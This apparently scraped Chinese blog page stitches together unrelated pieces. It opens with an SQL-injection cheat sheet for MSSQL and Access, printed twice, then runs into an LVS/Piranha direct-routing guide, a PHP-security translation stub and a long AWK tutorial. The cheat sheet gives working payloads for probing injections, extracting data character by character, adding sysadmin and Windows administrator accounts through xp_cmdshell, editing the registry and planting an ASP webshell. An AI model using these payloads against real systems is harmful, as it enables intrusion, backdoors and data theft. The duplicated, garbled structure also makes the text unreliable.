1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符\’and [查询条件] and \’\'=\’

4.搜索时没过滤参数的\’and [查询条件] and \’%25\’=\’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符\’and [查询条件] and \’\'=\’

4.搜索时没过滤参数的\’and [查询条件] and \’%25\’=\’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(\’sysadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’serveradmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’setupadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’securityadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’diskadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’bulkadmin\’));–
;and 1=(select IS_MEMBER(\’db_owner\’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell \’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add\’;–

;exec master.dbo.xp_cmdshell \’net user username password /add\’;–

;exec master.dbo.xp_cmdshell \’net localgroup administrators username /add\’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree \’c:\\\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(\’上步得到的paths\’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs \’c:\\\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree \’c:\\\’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell \’type c:\\web\\index.asp\’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
\’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\’,\’CommonFilesDir\’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\’,\’TestValueName\’,\’reg_sz\’,\’hello\’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\’,\’TestValueName\’ 删除某个值

xp_regdeletekey \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Testkey\’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str p_w_picpath);
insert into cmd(str) values (\’\');
backup database model to disk=\’c:\\l.asp\’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=\’dbo\’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str p_w_picpath);

insert into cmd(str) values (\’\');

backup database model to disk=\’g:\\wwwtest\\l.asp\’;

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(\’sysadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’serveradmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’setupadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’securityadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’diskadmin\’));–
;and 1=(select IS_SRVROLEMEMBER(\’bulkadmin\’));–
;and 1=(select IS_MEMBER(\’db_owner\’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell \’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add\’;–

;exec master.dbo.xp_cmdshell \’net user username password /add\’;–

;exec master.dbo.xp_cmdshell \’net localgroup administrators username /add\’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree \’c:\\\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(\’上步得到的paths\’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs \’c:\\\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree \’c:\\\’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell \’type c:\\web\\index.asp\’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
\’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\’,\’CommonFilesDir\’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\’,\’TestValueName\’,\’reg_sz\’,\’hello\’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\’,\’TestValueName\’ 删除某个值

xp_regdeletekey \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Testkey\’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str p_w_picpath);
insert into cmd(str) values (\’\');
backup database model to disk=\’c:\\l.asp\’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=\’dbo\’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str p_w_picpath);

insert into cmd(str) values (\’\');

backup database model to disk=\’g:\\wwwtest\\l.asp\’;

Scope:  This only contains relevant information on how to make direct
routing to work with Piranha, it does not explain how to configure Piranha
services.

Setting up Piranha:

(1) Ensure that the following packages are installed on the LVS directors:

    * piranha
    * ipvsadm

   Ensure that the following packages are installed on the LVS real servers:

    * iptables
    * arptables_jf

(2) Set up and log in to the Piranha web-based GUI.  See the following link:

    [url]http://www.redhat.com/docs/manuals/enterprise/RHEL-3-Manual/cluster-suite/ch-lvs-piranha.html[/url]

(3) Configure Piranha for Direct Routing.

    In the "GLOBAL SETTINGS" tab of the Piranha configuration tool, enter
    the primary server\’s public IP address in the box provided.  The private
    IP address is not needed/used for Direct Routing configurations.  In a
    direct routing configuration, all real servers as well as the LVS
    directors share the same virtual IP addresses and should have the same
    IP route configuration.  Click the "Direct Routing" button to enable
    Direct Routing support on the Piranha LVS director node(s).

(4) Configure services + real servers using the Piranha GUI.

(5) Set up the each of the real servers using one of the methods below.

===========================================================================

Setting up the Real Servers, method #1: Using arptables_jf

How it works:
    Each real server has the virtual IP address(es) configured, so they
    can directly route the packets.  ARP requests for the VIP are ignored
    entirely by the real servers, and any ARP packets which might otherwise
    be sent containing the VIPs are mangled to contain the real server\’s IP
    instead of the VIPs.

Main Advantages:
  * Ability for applications to bind to each individual VIP/port the real
    server is servicing.  This allows, for instance, multiple instances of
    Apache to be running bound explicitly to different VIPs on the system.
  * Performance.

Disadvantages:
  * The VIPs can not be configured to start on boot using standard RHEL
    system configuration tools.

How to make it work:

(1) BACK UP YOUR ARPTABLES CONFIGURATION.

(2) Configure each real server to ignore ARP requests for each of the
    virtual IP addresses the Piranha cluster will be servicing.  To do
    this, first create the ARP table entries for each virtual IP address
    on each real server (the real_ip is the IP the director uses to
    communicate with the real server; often this is the IP bound to
    "eth0"):

arptables -A IN -d <virtual_ip> -j DROP
arptables -A OUT -d <virtual_ip> -j mangle –mangle-ip-s <real_ip>

    This will cause the real servers to ignore all ARP requests for the
    virtual IP addresses, and change any outbound ARP responses which
    might otherwise contain the virtual IP so that they contain the real
    IP of the server instead.  The only node in the Piranha cluster which
    should respond to ARP requests for any of the VIPs is the current
    active Piranha LVS director node.

    Once this has been completed on each real server, we can save the ARP
    table entries for later.  Run the following commands on each real
    server:

service arptables_jf save
chkconfig –level 2345 arptables_jf on

    The second command will cause the system to reload the arptables
    configuration we just made on boot – before the network is started.

(3) Configure the virtual IP address on all real servers using \’ifconfig\’
    to create an IP alias:

ifconfig eth0:1 192.168.76.24 netmask 255.255.252.0 \\
broadcast 192.168.79.255 up

    Or using the iproute2 utility "ip", for example:

ip addr add 192.168.76.24 dev eth0

    As noted previously, the virtual IP addresses can not be configured
    to start on boot using the Red Hat system configuration tools.
    One way to work around this is to simply place these commands in
    /etc/rc.d/rc.local.

注意: 笔者在使用 arptables方法配置时,发现如果real server与floatting IP,以及lvs router public IP在同一个网段,使用同一个默认路由时,
real server的在发送响应包给HTTP请求客户端之前会发送一个arp请求,请求的源为floating IP ,会导致路由器把floating IP的mac地址指向real server.
因此解决方法有两个: 1. 在real server上绑定静态arp表到路由器,避免发出请求。 2. 使用dummy这个亚设备来捆绑 floating public IP,如下

ifconfig dummy0 0.0.0.0 up
ifconfig dummy0:0 172.26.20.110 up
===========================================================================

Setting up the Real Servers, method #2: Use iptables to tell the real
servers to handle the packets.

How it works:
    We use an IP tables rule to create a transparent proxy so that a node
    will service packets sent to the virtual IP address(es), even though
    the virtual IP address does not exist on the system.

Advantages:
  * Simple to configure.
  * Avoids the LVS "ARP problem" entirely.  Because the virtual IP
    address(es) only exist on the active LVS director, there _is_ no ARP
    problem!

Disadvantages:
  * Performance.  There is overhead in forwarding/masquerading every
    packet.
  * Impossible to reuse ports.  For instance, it is not possible to run
    two separate Apache services bound to port 80, because both must
    bind to INADDR_ANY instead of the virtual IP addresses.

(1) BACK UP YOUR IPTABLES CONFIGURATION.

(2) On each real server, run the following for every VIP / port / protocol
    (TCP, UDP) combination intended to be serviced for that real server:

iptables -t nat -A PREROUTING -p <tcp|udp> -d <vip> \\
–dport <port> -j REDIRECT

    This will cause the real servers to process packets destined for the
    VIP which they are handed.

service iptables save
chkconfig –level 2345 arptables_jf on

    The second command will cause the system to reload the arptables
    configuration we just made on boot – before the network is started.

三月 1st, 2007[翻译] PHP安全

[ 原书信息 ]
《SAMS Teach Yourself PHP in 10 Minutes》
Author: Chris Newman  
Publisher : Sams Publishing
Pub Date : March 29, 2005
ISBN : 0-672-32762-7
Pages : 264

[ 翻译信息 ]
翻译人员:heiyeluren
翻译时间:2006-3-15
翻译章节:《Lesson 24. PHP Security》
中文名称:PHP安全

PHP勿庸置疑是非常强大的服务器端脚本语言,但是强大的功能总是伴随着重大的危险,在这章里,你将学习到使用PHP的安全模式来阻止一些PHP潜在的危险因素。

【 安全模式 】

PHP的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的PHP开放的Web服务器上。当一个Web服务器上运行的PHP打开了安全模式,那么一些函数将被完全的禁止,并且会限制一些可用的功能。 Read the rest of this entry »

AWK:Linux 管理员的智能工具包
作者 Emmett Dulaney

您正在学习 Linux 吗?本文对于非常有用的 AWK 文本操作工具进行了介绍,非常有价值。

AWK 实用工具带有其自己的自包含语言,它不仅是 Linux 中也是任何环境中现有的功能最强大的数据处理引擎之一。这种编程及数据操作语言(其名称得自于它的创始人 Alfred Aho、Peter Weinberger 和 Brian Kernighan 姓氏的首个字母)的最大功能取决于一个人所拥有的知识。它允许您创建简短的程序,这些程序读取输入文件、为数据排序、处理数据、对输入执行计算以及生成报表,还有无数其他的功能。

AWK 是什么?

最简单地说,AWK 是一种用于处理文本的编程语言工具。AWK 实用工具的语言在很多方面类似于 shell 编程语言,尽管 AWK 具有完全属于其本身的语法。在最初创造 AWK 时,其目的是用于文本处理,并且这种语言的基础是,只要在输入数据中有模式匹配,就执行一系列指令。该实用工具扫描文件中的每一行,查找与命令行中所给定内容相匹配的模式。如果发现匹配内容,则进行下一个编程步骤。如果找不到匹配内容,则继续处理下一行。

尽管操作可能会很复杂,但命令的语法始终是:

awk ‘{pattern + action}’ {filenames}

其中 pattern 表示 AWK 在数据中查找的内容,而 action 是在找到匹配内容时所执行的一系列命令。花括号 ({}) 不需要在程序中始终出现,但它们用于根据特定的模式对一系列指令进行分组。

了解字段

实用工具将每个输入行分为记录和字段。记录是单行的输入,而每条记录包含若干字段。默认的字段分隔符是空格或制表符,而记录的分隔符是换行。虽然在默认情况下将制表符和空格都看作字段分隔符(多个空格仍然作为一个分隔符),但是可以将分隔符从空格改为任何其它字符。

为了进行演示,请查看以下保存为 emp_names 的员工列表文件:

46012   DULANEY   EVAN     MOBILE   AL
46013   DURHAM     JEFF     MOBILE   AL
46015   STEEN     BILL     MOBILE   AL
46017   FELDMAN   EVAN     MOBILE   AL
46018   SWIM     STEVE     UNKNOWN AL
46019   BOGUE     ROBERT     PHOENIX AZ
46021   JUNE     MICAH     PHOENIX AZ
46022   KANE     SHERYL     UNKNOWN AR
46024   WOOD     WILLIAM   MUNCIE   IN
46026   FERGUS     SARAH     MUNCIE   IN
46027   BUCK     SARAH     MUNCIE   IN
46029   TUTTLE     BOB       MUNCIE   IN

当 AWK 读取输入内容时,整条记录被分配给变量 $0。每个字段以字段分隔符分开,被分配给变量 $1、$2、$3 等等。一行在本质上可以包含无数个字段,通过字段号来访问每个字段。因此,命令

awk ‘{print $1,$2,$3,$4,$5}’ names

将会产生的打印输出是

46012 DULANEY EVAN MOBILE AL
46013 DURHAM JEFF MOBILE AL
46015 STEEN BILL MOBILE AL
46017 FELDMAN EVAN MOBILE AL
46018 SWIM STEVE UNKNOWN AL
46019 BOGUE ROBERT PHOENIX AZ
46021 JUNE MICAH PHOENIX AZ
46022 KANE SHERYL UNKNOWN AR
46024 WOOD WILLIAM MUNCIE IN
46026 FERGUS SARAH MUNCIE IN
46027 BUCK SARAH MUNCIE IN
46029 TUTTLE BOB MUNCIE IN

值得注意的一项重要内容是,AWK 解释由空格分隔的五个字段,但当它打印显示内容时,在每个字段间只有一个空格。利用为每个字段指定了唯一号码的功能,您可以选择只打印特定的字段。例如,只打印每条记录的姓名时,只需选择第二个和第三个字段进行打印:

$ awk ‘{print $2,$3}’ emp_names
DULANEY EVAN
DURHAM JEFF
STEEN BILL
FELDMAN EVAN
SWIM STEVE
BOGUE ROBERT
JUNE MICAH
KANE SHERYL
WOOD WILLIAM
FERGUS SARAH
BUCK SARAH
TUTTLE BOB
$

您还可以指定按任何顺序打印字段,而无论它们在记录中是如何存在的。因此,只需要显示姓名字段,并且使其顺序颠倒,先显示名字再显示姓氏:

$ awk ‘{print $3,$2}’ emp_names
EVAN DULANEY
JEFF DURHAM
BILL STEEN
EVAN FELDMAN
STEVE SWIM
ROBERT BOGUE
MICAH JUNE
SHERYL KANE
WILLIAM WOOD
SARAH FERGUS
SARAH BUCK
BOB TUTTLE
$

使用模式

通过包含一个必须匹配的模式,您可以选择只对特定的记录而不是所有的记录进行操作。模式匹配的最简单形式是搜索,其中要匹配的项目被包含在斜线 (/pattern/) 中。例如,只对那些居住在阿拉巴马州的员工执行前面的操作:

$ awk ‘/AL/ {print $3,$2}’ emp_names
EVAN DULANEY
JEFF DURHAM
BILL STEEN
EVAN FELDMAN
STEVE SWIM
$

如果您不指定要打印的字段,则会打印整个匹配的条目:

$ awk ‘/AL/’ emp_names
46012   DULANEY   EVAN   MOBILE   AL
46013   DURHAM     JEFF   MOBILE   AL
46015   STEEN     BILL   MOBILE   AL
46017   FELDMAN   EVAN   MOBILE   AL
46018   SWIM     STEVE   UNKNOWN   AL
$

对同一数据集的多个命令可以用分号 (;) 分隔开。例如,在一行中打印姓名,而在另一行中打印城市和州名:

$ awk ‘/AL/ {print $3,$2 ; print $4,$5}’ emp_names
EVAN DULANEY
MOBILE AL
JEFF DURHAM
MOBILE AL
BILL STEEN
MOBILE AL
EVAN FELDMAN
MOBILE AL
STEVE SWIM
UNKNOWN AL
$

如果没有使用分号 (print $3,$2,$4,$5),则会在同一行中显示所有内容。另一方面,如果分别给出两个打印语句,则会产生完全不同的结果:

$ awk ‘/AL/ {print $3,$2} {print $4,$5}’ emp_names
EVAN DULANEY
MOBILE AL
JEFF DURHAM
MOBILE AL
BILL STEEN
MOBILE AL
EVAN FELDMAN
MOBILE AL
STEVE SWIM
UNKNOWN AL
PHOENIX AZ
PHOENIX AZ
UNKNOWN AR
MUNCIE IN
MUNCIE IN
MUNCIE IN
MUNCIE IN
$

只有在列表中找到 AL 时才会给出字段三和字段二。但是,字段四和字段五是无条件的,始终打印它们。只有第一组花括号中的命令对前面紧邻的命令 (/AL/) 起作用。

结果非常不便于阅读,可以使其稍微更清晰一些。首先,在城市与州之间插入一个空格和逗号。然后,在每两行显示之后放置一个空行:

$ awk ‘/AL/ {print $3,$2 ; print $4″, “$5″\\n”}’ emp_names
EVAN DULANEY
MOBILE, AL

JEFF DURHAM
MOBILE, AL

BILL STEEN
MOBILE, AL

EVAN FELDMAN
MOBILE, AL

STEVE SWIM
UNKNOWN, AL
$

在第四和第五个字段之间,添加一个逗号和一个空格(在引号之间),在第五个字段后面,打印一个换行符 (\\n)。在 AWK 打印语句中还可以使用那些可在 echo 命令中使用的所有特殊字符,包括:

\\n(换行)
\\t(制表)
\\b(退格)
\\f(进纸)
\\r(回车)

因此,要读取全部五个最初由制表符分隔开的字段,并且也利用制表符打印它们,您可以编程如下

$ awk ‘{print $1″\\t”$2″\\t”$3″\\t”$4″\\t”$5}’ emp_names
46012   DULANEY   EVAN   MOBILE   AL
46013   DURHAM     JEFF   MOBILE   AL
46015   STEEN     BILL   MOBILE   AL
46017   FELDMAN   EVAN   MOBILE   AL
46018   SWIM     STEVE   UNKNOWN   AL
46019   BOGUE     ROBERT   PHOENIX   AZ
46021   JUNE     MICAH   PHOENIX   AZ
46022   KANE     SHERYL   UNKNOWN   AR
46024   WOOD     WILLIAM MUNCIE   IN
46026   FERGUS     SARAH   MUNCIE   IN
46027   BUCK     SARAH   MUNCIE   IN
46029   TUTTLE     BOB     MUNCIE   IN
$

通过连续设置多项标准并用管道 (|) 符号将其分隔开,您可以一次搜索多个模式匹配:

$ awk ‘/AL|IN/’ emp_names
46012   DULANEY   EVAN   MOBILE   AL
46013   DURHAM     JEFF   MOBILE   AL
46015   STEEN     BILL   MOBILE   AL
46017   FELDMAN   EVAN   MOBILE   AL
46018   SWIM     STEVE   UNKNOWN   AL
46024   WOOD     WILLIAM MUNCIE   IN
46026   FERGUS     SARAH   MUNCIE   IN
46027   BUCK     SARAH   MUNCIE   IN
46029   TUTTLE     BOB     MUNCIE   IN
$

这样可找到每个阿拉巴马州和印第安那州居民的匹配记录。但是在试图找出居住在亚利桑那州的人时,出现了一个问题:

$ awk ‘/AR/’ emp_names
46019   BOGUE     ROBERT   PHOENIX   AZ
46021   JUNE     MICAH   PHOENIX   AZ
46022   KANE     SHERYL   UNKNOWN   AZ
46026   FERGUS     SARAH   MUNCIE   IN
46027   BUCK     SARAH   MUNCIE   IN
$

员工 46026 和 46027 没有住在亚利桑那州;但是他们的名字中包含所搜索的字符序列。切记,当在 AWK 中进行模式匹配时,例如 grep、sed 或者大部分其他 Linux/Unix 命令,将在记录(行)中的任何位置查找匹配,除非指定进行其他操作。为解决这一问题,必须将搜索与特定字段联系起来。通过利用代字号 (˜) 以及对特定字段的说明,可以达到这一目的,如下例所示:

$ awk ‘$5 ˜ /AR/’ emp_names
46019   BOGUE     ROBERT   PHOENIX   AZ
46021   JUNE     MICAH   PHOENIX   AZ
46022   KANE     SHERYL   UNKNOWN   AZ
$

代字号(表示匹配)的对应符号是一个前面带有感叹号的代字号 (!˜)。这些字符通知程序,如果搜索序列没有出现在指定字段中,则找出与搜索序列相匹配的所有行:

$ awk ‘$5 !˜ /AR/’ names
46012   DULANEY   EVAN   MOBILE   AL
46013   DURHAM     JEFF   MOBILE   AL
46015   STEEN     BILL   MOBILE   AL
46017   FELDMAN   EVAN   MOBILE   AL
46018   SWIM     STEVE   UNKNOWN   AL
46024   WOOD     WILLIAM MUNCIE   IN
46026   FERGUS     SARAH   MUNCIE   IN
46027   BUCK     SARAH   MUNCIE   IN
46029   TUTTLE     BOB     MUNCIE   IN
$

在这种情况下,将显示第五个字段中没有 AR 的所有行 — 包括两个 Sarah 条目,这两个条目确实包含 AR,但却是在第三个字段而不是第五个字段中。

花括号和字段分隔符

括号字符在 AWK 命令中起着很重要的作用。出现在括号之间的操作指出将要发生什么以及何时发生。当只使用一对括号时:

{print $3,$2}

括号间的所有操作同时发生。当使用多于一对的括号时:

{print $3}{print $2}

执行第一组命令,在该命令完成后执行第二组命令。注意以下两列清单的区别:

$ awk ‘{print $3,$2}’ names
EVAN DULANEY
JEFF DURHAM
BILL STEEN
EVAN FELDMAN
STEVE SWIM
ROBERT BOGUE
MICAH JUNE
SHERYL KANE
WILLIAM WOOD
SARAH FERGUS
SARAH BUCK
BOB TUTTLE
$

$ awk ‘{print $3}{print $2}’ names
EVAN
DULANEY
JEFF
DURHAM
BILL
STEEN
EVAN
FELDMAN
STEVE
SWIM
ROBERT
BOGUE
MICAH
JUNE
SHERYL
KANE
WILLIAM
WOOD
SARAH
FERGUS
SARAH
BUCK
BOB
TUTTLE
$

要利用多组括号进行重复查找,执行第一组中的命令直到完成为止;然后处理第二组命令。如果有第三组命令,则在第二组命令完成后执行它,以此类推。在所生成的打印输出中,有两个分隔的打印命令,因此先执行第一个命令,随后执行第二个命令,这样导致每个条目显示在两行而不是一行中。

区分两个字段的字段分隔符不一定始终是空格;它可以是任何可识别的字符。为进行演示,假定 emp_names 文件利用冒号而不是制表符来分隔字段:

$ cat emp_names
46012:DULANEY:EVAN:MOBILE:AL
46013:DURHAM:JEFF:MOBILE:AL
46015:STEEN:BILL:MOBILE:AL
46017:FELDMAN:EVAN:MOBILE:AL
46018:SWIM:STEVE:UNKNOWN:AL
46019:BOGUE:ROBERT:PHOENIX:AZ
46021:JUNE:MICAH:PHOENIX:AZ
46022:KANE:SHERYL:UNKNOWN:AR
46024:WOOD:WILLIAM:MUNCIE:IN
46026:FERGUS:SARAH:MUNCIE:IN
46027:BUCK:SARAH:MUNCIE:IN
46029:TUTTLE:BOB:MUNCIE:IN
$

如果试图通过指定所需要的第二个字段来打印姓氏

$ awk ‘{print $2}’ emp_names

您最后会得到十二个空行。因为文件中没有空格,除了第一个字段之外没有可认别的字段。为解决这一问题,必须通知 AWK 是空格之外的另一个字符作为分隔符,有两种方法可通知 AWK 使用新的字段分隔符:使用命令行参数 -F,或在程序中指定变量 FS。两种方法的效果相同,只有一种例外情况,如下例所示:

$ awk ‘{FS=”:”}{print $2}’ emp_names

DURHAM
STEEN
FELDMAN
SWIM
BOGUE
JUNE
KANE
WOOD
FERGUS
BUCK
TUTTLE
$

$ awk -F: ‘{print $2}’ emp_names
DULANEY
DURHAM
STEEN
FELDMAN
SWIM
BOGUE
JUNE
KANE
WOOD
FERGUS
BUCK
TUTTLE
$

在第一个命令中,头一条记录返回不正确的空行,而其他结果正确。直到读取第二条记录时,才识别字段分隔符并正确地执行。通过使用 BEGIN 语句可以纠正这一缺点(在后文详述)。-F 的功能非常类似于 BEGIN,能够正确地读取第一条记录并按要求执行。

在本文开始处我曾提到,默认的显示/输出字段分隔符是空格。通过使用输出字段分隔符 (OFS) 变量,可以在程序中更改此特性。例如,要读取文件(由冒号分隔)并以短划线显示,则命令是

$ awk -F”:” ‘{OFS=”-”}{print $1,$2,$3,$4,$5}’ emp_names
46012-DULANEY-EVAN-MOBILE-AL
46013-DURHAM-JEFF-MOBILE-AL
46015-STEEN-BILL-MOBILE-AL
46017-FELDMAN-EVAN-MOBILE-AL
46018-SWIM-STEVE-UNKNOWN-AL
46019-BOGUE-ROBERT-PHOENIX-AZ
46021-JUNE-MICAH-PHOENIX-AZ
46022-KANE-SHERYL-UNKNOWN-AR
46024-WOOD-WILLIAM-MUNCIE-IN
46026-FERGUS-SARAH-MUNCIE-IN
46027-BUCK-SARAH-MUNCIE-IN
46029-TUTTLE-BOB-MUNCIE-IN
$

FS 和 OFS 是(输入)字段分隔符和输出字段分隔符,它们只是一对可以在 AWK 实用工具中使用的变量。例如,要在打印时为每行编号,可以采用以下方式使用 NR 变量:

$ awk -F”:” ‘{print NR,$1,$2,$3}’ emp_names
1 46012 DULANEY EVAN
2 46013 DURHAM JEFF
3 46015 STEEN BILL
4 46017 FELDMAN EVAN
5 46018 SWIM STEVE
6 46019 BOGUE ROBERT
7 46021 JUNE MICAH
8 46022 KANE SHERYL
9 46024 WOOD WILLIAM
10 46026 FERGUS SARAH
11 46027 BUCK SARAH
12 46029 TUTTLE BOB
$

找出员工号码处于 46012 和 46015 之间的所有行:

$ awk -F”:” ‘/4601[2-5]/’ emp_names
46012   DULANEY EVAN MOBILE AL
46013   DURHAM JEFF MOBILE AL
46015   STEEN   BILL MOBILE AL
$

添加文本

可以按照添加控制序列或其他字符的相同方式将文本添加到显示中。例如,要将分隔符从空格改为冒号,则命令是

awk ‘{print $1″:”$2″:”$3″:”$4″:”$5}’ emp_names > new_emp_names

在这种情况下,字符 (:) 包含在引号 (“/”) 中,它被添加到每个字段之间。在引号之间的值可以是任何内容。例如,创建一个关于居住在阿拉巴马州的员工的外观类似数据库的显示:

$ awk ‘$5 ~ /AL/ {print “NAME: “$2″, “$3″\\nCITY-STATE:
  “$4″, “$5″\\n”}’ emp_names

NAME: DULANEY, EVAN
CITY-STATE: MOBILE, AL

NAME: DURHAM, JEFF
CITY-STATE: MOBILE, AL

NAME: STEEN, BILL
CITY-STATE: MOBILE, AL

NAME: FELDMAN, EVAN
CITY-STATE: MOBILE, AL

NAME: SWIM, STEVE
CITY-STATE: UNKNOWN, AL
$

数学操作

AWK 除了提供文本功能,还提供全部范围的算术操作符,包括以下符号:

+ 将数字相加
- 减
* 乘
/ 除
^ 执行指数运算
% 提供模
++ 将变量值加一
+= 将其他操作的结果分配给变量
— 将变量减一
-= 将减法操作的结果分配给变量
*= 分配乘法操作的结果
/= 分配除法操作的结果
%= 分配求模操作的结果

例如,假定您的机器上存在以下的文件,详细地列出硬件商店中的物品:

$ cat inventory
hammers 5     7.99
drills 2     29.99
punches 7     3.59
drifts 2     4.09
bits   55     1.19
saws 123     14.99
nails 800     .19
screws 80     .29
brads 100     .24
$

第一项业务定单是通过将第二个字段(数量)的值乘以第三个字段(价格)的值,计算每种物品的库存价值:

$ awk ‘{print $1,”QTY: “$2,”PRICE: “$3,”TOTAL: “$2*$3}’ inventory
hammers QTY: 5 PRICE: 7.99 TOTAL: 39.95
drills QTY: 2 PRICE: 29.99 TOTAL: 59.98
punches QTY: 7 PRICE: 3.59 TOTAL: 25.13
drifts QTY: 2 PRICE: 4.09 TOTAL: 8.18
bits QTY: 55 PRICE: 1.19 TOTAL: 65.45
saws QTY: 123 PRICE: 14.99 TOTAL: 1843.77
nails QTY: 800 PRICE: .19 TOTAL: 152
screws QTY: 80 PRICE: .29 TOTAL: 23.2
brads QTY: 100 PRICE: .24 TOTAL: 24
$

如果这些行本身并不重要,您只是希望确定商店中有多少件物品,则可以分配一个普通变量,按照每条记录中的物品数量增加:

$ awk ‘{x=x+$2} {print x}’ inventory
5
7
14
16
71
194
994
1074
1174
$

根据这一数据,商店中有 1174 件物品。第一次执行时,变量 x 没有值,因此它采用第一行第二个字段的值。第二次执行时,它保留了第一行的值并加上第二行的值,以此类推,直到达到累计的总合。

可以应用相同的过程来确定现有库存的总价值:

$ awk ‘{x=x+($2*$3)} {print x}’ inventory
39.95
99.93
125.06
133.24
198.69
2042.46
2194.46
2217.66
2241.66
$

因此,1174 件物品的价值是 $2,241.66。虽然这一过程可以获得总计值,但它的外观很差,需要加工成实际的报表。利用一些附加项,很容易使显示变得更整洁:

$ awk ‘{x=x+($2*$3)}{print $1,”QTY: “$2,”PRICE: “$3,”TOTAL: “$2*$3,”BAL: “x}’ inventory
